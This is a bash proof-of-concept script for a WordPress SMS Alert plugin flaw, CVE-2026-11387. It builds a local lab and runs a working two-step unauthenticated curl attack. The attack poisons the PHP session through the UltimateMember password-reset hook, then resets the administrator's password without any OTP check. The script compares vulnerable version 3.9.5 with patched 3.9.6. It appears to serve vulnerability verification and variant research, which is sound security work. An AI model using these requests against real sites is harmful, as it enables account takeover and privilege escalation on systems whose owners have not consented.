#!/bin/bash
set -uo pipefail

# ============================================================================
# CVE-2026-11387 — VARIANT: UltimateMember alternate-trigger entry point
# SMS Alert WordPress Plugin <= 3.9.5
#
# Tests a MATERIALLY DIFFERENT entry point that reaches the SAME root-cause
# sink (handleSmsalertChangedPwd() -> reset_password() without an OTP-validation
# check): the UltimateMember integration (class-ultimatemember.php, option=
# smsalert-um-reset-pwd-action, reached via UltimateMember's
# `um_reset_password_process_hook` action).
#
# Flow:
#   1. Unauthenticated POST to the UltimateMember password-reset page with
#      _um_password_reset=1&username_b=<admin>  -> fires um_reset_password_process_hook
#      -> SMSAlert::smsalertUmResetPwdSubmitted() -> smsalert_site_challenge_otp()
#      sets $_SESSION['user_login']='admin' and $_SESSION['SA_UM_RESET_PWD']=true
#      BEFORE the OTP API call (which fails with bad creds, but the session is
#      already poisoned).
#   2. Unauthenticated POST with option=smsalert-um-reset-pwd-action
#      &smsalert_user_newpwd=<pwd>&smsalert_user_cnfpwd=<pwd> ->
#      UltimateMember::handleForm() dispatches to handleSmsalertChangedPwd()
#      which reads $_SESSION['user_login'] and calls reset_password($admin,$pwd)
#      WITHOUT checking OTP validation.
#
# Preconditions (match the plugin's own enablement logic):
#   - MariaDB + PHP + wp-cli available (provisioned by bundle/repro/ or the env)
#   - smsalert_gateway credentials non-empty  (is_user_authorised() == true)
#   - smsalert_general[reset_password] = on   (enables the reset-pwd hook)
#   - smsalert_general[buyer_signup_otp] = on (UltimateMember::isFormEnabled())
#   - target user has billing_phone set
#   - UltimateMember plugin active with a password-reset core page
#
# On vulnerable 3.9.5: admin password is reset (variant reproduced).
# On patched 3.9.6:    handleForm() now requires $_SESSION['SA_UM_RESET_PWD']
#                      === 'validated' (only set after real OTP), so the attack
#                      is BLOCKED -> ALTERNATE TRIGGER, NOT a bypass.
#
# Exit codes:
#   0 = variant reproduced on the FIXED version (true bypass)
#   1 = variant only works on vulnerable version (alternate trigger) OR no
#       variant found.  (Expected here: alternate trigger -> exit 1.)
# ============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"

EVIDENCE_LOG="$LOGS/vuln_variant_reproduction.log"
: > "$EVIDENCE_LOG"
say() { printf '%s\n' "$*" | tee -a "$EVIDENCE_LOG"; }

WP_CLI="$ARTIFACTS/wp-cli.phar"
WP_DIR="$ARTIFACTS/wordpress"
PLUGIN_ZIP_VULN="$ARTIFACTS/sms-alert-3.9.5.zip"
PLUGIN_ZIP_FIX="$ARTIFACTS/sms-alert-3.9.6.zip"
PORT=8072
SITE_URL="http://localhost:${PORT}"
ADMIN_USER="admin"
ADMIN_PHONE="919999990001"
ORIG_PWD="admin_original_123"
SERVER_PID=""

say "============================================"
say "CVE-2026-11387 VARIANT — UltimateMember entry point"
say "SMS Alert <= 3.9.5 (alt trigger) / 3.9.6 (fix coverage test)"
say "============================================"
say "Start: $(date -u '+%Y-%m-%dT%H:%M:%SZ')"
say ""

# ---------------------------------------------------------------------------
# 0. Environment sanity checks (no provisioning — assumes repro env present)
# ---------------------------------------------------------------------------
[ -f "$WP_CLI" ] || { say "[-] wp-cli.phar missing at $WP_CLI"; exit 1; }
chmod +x "$WP_CLI"
[ -f "$WP_DIR/wp-config.php" ] || { say "[-] WordPress not found at $WP_DIR"; exit 1; }
if ! mysqladmin ping 2>/dev/null; then say "[-] MariaDB not running"; exit 1; fi
[ -f "$PLUGIN_ZIP_VULN" ] && [ -f "$PLUGIN_ZIP_FIX" ] || { say "[-] plugin zips missing"; exit 1; }
say "[+] Environment OK (wp-cli, WordPress, MariaDB, plugin zips present)"

# ---------------------------------------------------------------------------
# 1. WordPress + WooCommerce + UltimateMember
# ---------------------------------------------------------------------------
php "$WP_CLI" core install --path="$WP_DIR" --url="$SITE_URL" --title="CVE-2026-11387 Variant" \
  --admin_user="$ADMIN_USER" --admin_password="$ORIG_PWD" --admin_email="admin@example.com" --skip-email 2>&1 | tail -1 || true
php "$WP_CLI" option update siteurl "$SITE_URL" --path="$WP_DIR" 2>&1 | tail -1 || true
php "$WP_CLI" option update home "$SITE_URL" --path="$WP_DIR" 2>&1 | tail -1 || true
php "$WP_CLI" plugin install woocommerce --path="$WP_DIR" --activate 2>&1 | tail -1 || true
php "$WP_CLI" plugin activate woocommerce --path="$WP_DIR" 2>&1 | tail -1 || true
if ! php "$WP_CLI" --path="$WP_DIR" plugin is-installed ultimate-member 2>/dev/null; then
  php "$WP_CLI" plugin install ultimate-member --path="$WP_DIR" --activate 2>&1 | tail -2
fi
php "$WP_CLI" plugin activate ultimate-member --path="$WP_DIR" 2>&1 | tail -1 || true
say "[+] WordPress + WooCommerce + UltimateMember ready"

# ---------------------------------------------------------------------------
# 2. UM password-reset core page + disable reset-attempt limit (idempotent)
# ---------------------------------------------------------------------------
UM_PAGE_ID=$(php "$WP_CLI" --path="$WP_DIR" eval '
$pg = get_page_by_path("password-reset");
if (!$pg) {
    $pid = wp_insert_post(array("post_title"=>"Password Reset","post_content"=>"[ultimatemember_password]","post_name"=>"password-reset","post_type"=>"page","post_status"=>"publish","post_author"=>1));
    update_post_meta($pid,"_um_core","password-reset");
} else { $pid = $pg->ID; update_post_meta($pid,"_um_core","password-reset"); }
$o = get_option("um_options",array());
$o["core_password-reset"] = $pid; $o["enable_reset_password_limit"]=0; $o["only_approved_user_reset_password"]=0;
update_option("um_options",$o); echo $pid;
' 2>&1 | tail -1)
say "[+] UM password-reset page ID=$UM_PAGE_ID url=${SITE_URL}/?page_id=${UM_PAGE_ID}"

# ---------------------------------------------------------------------------
# 3. PHP built-in server (router)
# ---------------------------------------------------------------------------
ROUTER="$ARTIFACTS/wp-router.php"
[ -f "$ROUTER" ] || cat > "$ROUTER" << 'ROUTERPHP'
<?php
$root = getenv('WP_DIR') ?: __DIR__ . '/wordpress';
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$file = $root . $uri;
if ($uri !== '/' && file_exists($file) && !is_dir($file)) {
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    if ($ext === 'php') { chdir(dirname($file)); $_SERVER['SCRIPT_NAME']=$uri; $_SERVER['SCRIPT_FILENAME']=$file; require $file; return true; }
    return false;
}
chdir($root); $_SERVER['SCRIPT_NAME']='/index.php'; $_SERVER['SCRIPT_FILENAME']=$root.'/index.php'; $_SERVER['DOCUMENT_ROOT']=$root;
require $root.'/index.php';
ROUTERPHP

start_server() {
  for pid in $(pgrep -f "php -S 127.0.0.1:${PORT}" 2>/dev/null); do kill "$pid" 2>/dev/null || true; done
  sleep 1
  WP_DIR="$WP_DIR" php -S "127.0.0.1:${PORT}" -d session.use_cookies=1 -d session.cookie_httponly=0 -d session.auto_start=0 "$ROUTER" > "$LOGS/vv-php-server.log" 2>&1 &
  SERVER_PID=$!
  sleep 4
  if ! curl -s -m 5 -o /dev/null -w "%{http_code}" "$SITE_URL/" 2>/dev/null | grep -qE "200|301|302"; then
    say "[-] FATAL: WP server did not start"; tail -20 "$LOGS/vv-php-server.log"; return 1
  fi
  say "[+] PHP server up on ${PORT} (PID=$SERVER_PID)"
}
stop_server() {
  [ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null || true
  for pid in $(pgrep -f "php -S 127.0.0.1:${PORT}" 2>/dev/null); do kill "$pid" 2>/dev/null || true; done
  sleep 1
}

# ---------------------------------------------------------------------------
# 4. SMS Alert version setup. NOTE: buyer_signup_otp=on is REQUIRED for
#    UltimateMember::isFormEnabled() to register the UM handler hooks.
# ---------------------------------------------------------------------------
setup_smsalert() {
  local ZIP="$1" VERSION="$2"
  say "[*] Setting up SMS Alert $VERSION..."
  php "$WP_CLI" --path="$WP_DIR" plugin deactivate sms-alert 2>/dev/null || true
  php "$WP_CLI" --path="$WP_DIR" plugin delete sms-alert 2>/dev/null || true
  php "$WP_CLI" plugin install "$ZIP" --path="$WP_DIR" --activate 2>&1 | tail -1
  php "$WP_CLI" option update smsalert_gateway '{"smsalert_name":"testuser","smsalert_password":"testpass"}' --path="$WP_DIR" --format=json 2>&1 | tail -1
  php "$WP_CLI" option update smsalert_general '{"reset_password":"on","buyer_signup_otp":"on","default_country_code":"91","otp_template":"Your OTP is [otp]"}' --path="$WP_DIR" --format=json 2>&1 | tail -1
  php "$WP_CLI" user meta update 1 billing_phone "$ADMIN_PHONE" --path="$WP_DIR" 2>&1 | tail -1
  php "$WP_CLI" user update "$ADMIN_USER" --user_pass="$ORIG_PWD" --path="$WP_DIR" 2>&1 | tail -1
  php "$WP_CLI" --path="$WP_DIR" eval '$o=get_option("um_options",array()); $o["core_password-reset"]='"$UM_PAGE_ID"'; $o["enable_reset_password_limit"]=0; $o["only_approved_user_reset_password"]=0; update_option("um_options",$o);' 2>&1 | tail -1
  say "[+] SMS Alert $VERSION configured (reset_password=on, buyer_signup_otp=on)"
}

check_pwd() { php "$WP_CLI" --path="$WP_DIR" user check-password "$ADMIN_USER" "$1" 2>/dev/null >/dev/null && echo OK || echo FAIL; }

# ---------------------------------------------------------------------------
# 5. UM variant attack
# ---------------------------------------------------------------------------
run_um_attack() {
  local NEWPWD="$1" TAG="$2"
  local COOKIE_JAR="$LOGS/vv_${TAG}_cookies.txt"
  rm -f "$COOKIE_JAR"
  say "[*] $TAG Step 1: trigger UM password-reset for admin (session poison)..."
  local S1="$LOGS/vv_${TAG}_step1.html" H1H="$LOGS/vv_${TAG}_step1_headers.txt"
  curl -s -m 20 -o "$S1" -D "$H1H" -c "$COOKIE_JAR" \
    -X POST "${SITE_URL}/?page_id=${UM_PAGE_ID}" -d "_um_password_reset=1&username_b=${ADMIN_USER}" >/dev/null
  local SID; SID=$(grep PHPSESSID "$COOKIE_JAR" 2>/dev/null | awk '{print $NF}')
  say "    PHPSESSID=${SID:-<none>}"
  grep -i "Set-Cookie: PHPSESSID\|Location" "$H1H" 2>/dev/null | head -2 | sed 's/^/    /' || true
  say "[*] $TAG Step 2: submit smsalert-um-reset-pwd-action (no OTP)..."
  local S2="$LOGS/vv_${TAG}_step2.html" H2H="$LOGS/vv_${TAG}_step2_headers.txt"
  curl -s -m 20 -o "$S2" -D "$H2H" -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
    -X POST "${SITE_URL}/" -d "option=smsalert-um-reset-pwd-action&smsalert_user_newpwd=${NEWPWD}&smsalert_user_cnfpwd=${NEWPWD}" >/dev/null
  say "    HTTP $(grep -m1 'HTTP/1' "$H2H" 2>/dev/null | tr -d '\r')"
  grep -i "sa_um_reset_pwd\|Location" "$H2H" 2>/dev/null | head -3 | sed 's/^/    /' || true
}

# ===========================================================================
# PHASE A — vulnerable 3.9.5 (expect variant to reproduce)
# ===========================================================================
say ""
say "============================================"
say "PHASE A: UM variant against VULNERABLE 3.9.5"
say "============================================"
setup_smsalert "$PLUGIN_ZIP_VULN" "3.9.5"
say "[*] pre-exploit: orig pwd check -> $(check_pwd "$ORIG_PWD")"
start_server
run_um_attack "UmPwned!Pass42" "vuln"
stop_server
V_NEW=$(check_pwd "UmPwned!Pass42"); V_OLD=$(check_pwd "$ORIG_PWD")
say "[*] post-exploit: new 'UmPwned!Pass42' -> $V_NEW (expected OK)"
say "[*] post-exploit: old '$ORIG_PWD'     -> $V_OLD (expected FAIL)"
VULN_SUCCESS="false"
if [ "$V_NEW" = "OK" ] && [ "$V_OLD" = "FAIL" ]; then
  VULN_SUCCESS="true"; say "[+] VULNERABLE 3.9.5: UM variant SUCCEEDED"
else
  say "[-] VULNERABLE 3.9.5: UM variant did NOT succeed"
fi

# ===========================================================================
# PHASE B — patched 3.9.6 (expect attack BLOCKED -> not a bypass)
# ===========================================================================
say ""
say "============================================"
say "PHASE B: UM variant against PATCHED 3.9.6"
say "============================================"
setup_smsalert "$PLUGIN_ZIP_FIX" "3.9.6"
say "[*] pre-exploit: orig pwd check -> $(check_pwd "$ORIG_PWD")"
start_server
run_um_attack "UmHacked!Pass99" "fixed"
stop_server
F_NEW=$(check_pwd "UmHacked!Pass99"); F_OLD=$(check_pwd "$ORIG_PWD")
say "[*] post-exploit: new 'UmHacked!Pass99' -> $F_NEW (expected FAIL)"
say "[*] post-exploit: old '$ORIG_PWD'       -> $F_OLD (expected OK)"
FIX_BLOCKED="false"
if [ "$F_NEW" = "FAIL" ] && [ "$F_OLD" = "OK" ]; then
  FIX_BLOCKED="true"; say "[+] PATCHED 3.9.6: UM attack BLOCKED (NOT a bypass)"
else
  say "[-] PATCHED 3.9.6: UM attack NOT blocked (potential bypass!)"
fi

# ===========================================================================
# 6. Runtime manifest + verdict
# ===========================================================================
NOW=$(date -u '+%Y-%m-%dT%H:%M:%SZ')
cat > "$VARIANT_DIR/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "UltimateMember password-reset page (?page_id=<um_pwd_page>) POST _um_password_reset=1&username_b=<admin> fires um_reset_password_process_hook -> SMSAlert smsalertUmResetPwdSubmitted() poisons \$_SESSION['user_login']; then POST ?option=smsalert-um-reset-pwd-action&smsalert_user_newpwd=<pwd>&smsalert_user_cnfpwd=<pwd> -> UltimateMember::handleForm() -> handleSmsalertChangedPwd() -> reset_password(\$admin,\$pwd) without OTP validation",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["mariadb","php-builtin-server","wordpress","woocommerce","ultimate-member","sms-alert-3.9.5"],
  "proof_artifacts": [
    "logs/vuln_variant_reproduction.log",
    "logs/vv_vuln_step1.html","logs/vv_vuln_step1_headers.txt",
    "logs/vv_vuln_step2.html","logs/vv_vuln_step2_headers.txt","logs/vv_vuln_cookies.txt",
    "logs/vv_fixed_step1.html","logs/vv_fixed_step1_headers.txt",
    "logs/vv_fixed_step2.html","logs/vv_fixed_step2_headers.txt","logs/vv_fixed_cookies.txt",
    "logs/vv-php-server.log"
  ],
  "vulnerable_3_9_5_um_variant_success": $VULN_SUCCESS,
  "patched_3_9_6_um_attack_blocked": $FIX_BLOCKED,
  "outcome": "alternate_trigger_not_bypass",
  "notes": "UM entry point is a materially different trigger for the same root-cause sink (missing OTP-validation check before reset_password). Reproduced on vulnerable 3.9.5 (HTTP 302 to ?sa_um_reset_pwd=1; admin password changed); blocked on patched 3.9.6 (HTTP 200, no redirect; password unchanged). ALTERNATE TRIGGER, not a bypass. Timestamp: $NOW"
}
EOF
say "[+] runtime_manifest.json written"

cat > "$VARIANT_DIR/validation_verdict.json" << EOF
{
  "variant_outcome": "alternate_trigger_confirmed_not_bypass",
  "is_bypass": false,
  "distinct_variant_confirmed": $VULN_SUCCESS,
  "variant_reproduced_on_vulnerable": $VULN_SUCCESS,
  "variant_blocked_on_fixed": $FIX_BLOCKED,
  "variant_summary": "UltimateMember integration (class-ultimatemember.php, option=smsalert-um-reset-pwd-action reached via um_reset_password_process_hook) is a materially different unauthenticated entry point that reaches the same handleSmsalertChangedPwd()->reset_password() sink without OTP validation. Reproduced on 3.9.5; the 3.9.6 fix covers it (adds the \$_SESSION['SA_UM_RESET_PWD']==='validated' gate in handleForm() and sets it in handle_post_verification()).",
  "claim_block_reason": null,
  "blocking_mitigation": "3.9.6 handleForm() dispatch now requires the form-specific session var (\$_SESSION['SA_UM_RESET_PWD']) to equal 'validated', which is only set after a successful OTP validation (otp_verification_successful -> handle_post_verification).",
  "root_cause_class": "missing_identity_validation_before_privileged_action",
  "observed_impact_class": "privilege_escalation",
  "exploitability_confidence": "high",
  "evidence_scope": "production_path",
  "end_to_end_target_reached": true,
  "inferred": false,
  "timestamp": "$NOW"
}
EOF
say "[+] validation_verdict.json written"

say ""
say "============================================"
say "FINAL VERDICT"
say "============================================"
say "UM variant reproduced on vulnerable 3.9.5 : $VULN_SUCCESS"
say "UM attack blocked on patched 3.9.6        : $FIX_BLOCKED"
say "End: $(date -u '+%Y-%m-%dT%H:%M:%SZ')"

if [ "$VULN_SUCCESS" = "true" ] && [ "$FIX_BLOCKED" = "false" ]; then
  say "[!] Possible BYPASS (exit 0)."; exit 0
elif [ "$VULN_SUCCESS" = "true" ] && [ "$FIX_BLOCKED" = "true" ]; then
  say "[+] Distinct alternate-trigger VARIANT confirmed; NOT a bypass (exit 1)."; exit 1
else
  say "[-] UM variant did not reproduce on vulnerable version (exit 1)."; exit 1
fi
